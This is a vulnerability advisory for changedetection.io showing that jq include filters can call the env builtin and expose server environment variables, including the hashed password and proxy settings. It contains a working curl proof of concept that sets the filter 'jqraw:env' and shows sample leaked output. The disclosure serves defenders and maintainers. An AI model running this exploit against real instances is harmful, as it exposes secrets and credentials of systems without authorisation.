Changedetection.io Discloses Environment Variables via jq env Builtin in Include Filters

Summary

The jq: and jqraw: include filter expressions allow use of the jq env builtin, which reads all process environment variables and stores them as the watch snapshot. An authenticated user (or unauthenticated user when no password is set, the default) can leak sensitive environment variables including SALTED_PASS, PLAYWRIGHT_DRIVER_URL, HTTP_PROXY, and any secrets passed as env vars to the container.

Details

Vulnerable file: changedetectionio/html_tools.py, lines 380-388

User-supplied jq filter expressions are compiled and executed without restricting dangerous jq builtins:

if json_filter.startswith("jq:"):
    jq_expression = jq.compile(json_filter.removeprefix("jq:"))
    match = jq_expression.input(json_data).all()
    return _get_stripped_text_from_json_match(match)

if json_filter.startswith("jqraw:"):
    jq_expression = jq.compile(json_filter.removeprefix("jqraw:"))
    match = jq_expression.input(json_data).all()
    return '\n'.join(str(item) for item in match)

The form validator at forms.py:670-673 only checks that the expression compiles (jq.compile(input)) — it does not block dangerous functions. The jq env builtin reads all process environment variables regardless of the input data, returning a dictionary of every env var in the server process.

PoC

Step 1 — Create a watch for any JSON endpoint with jqraw:env as the include filter:

curl -X POST http://target:5000/api/v1/watch \
  -H "Content-Type: application/json" \
  -H "x-api-key: <api-key>" \
  -d '{
    "url": "https://httpbin.org/json",
    "include_filters": ["jqraw:env"],
    "time_between_check": {"seconds": 30}
  }'

If no password or API key is set (the default), no authentication is needed.

Step 2 — Wait for the watch to be checked, or trigger a recheck:

curl "http://target:5000/api/v1/watch/<uuid>?recheck=true" -H "x-api-key: <api-key>"

Step 3 — The processed text file on disk now contains all environment variables:

{'SALTED_PASS': '...hashed password...', 'PLAYWRIGHT_DRIVER_URL': 'ws://browser:3000',
 'HTTP_PROXY': 'socks5h://10.10.1.10:1080', 'SHELL': '/bin/bash',
 'HOME': '/root', 'PATH': '...', 'WERKZEUG_SERVER_FD': '22',
 ... and all other env vars}

The data is visible in the web UI when viewing the watch's latest snapshot, and is also included in notification messages if notifications are configured.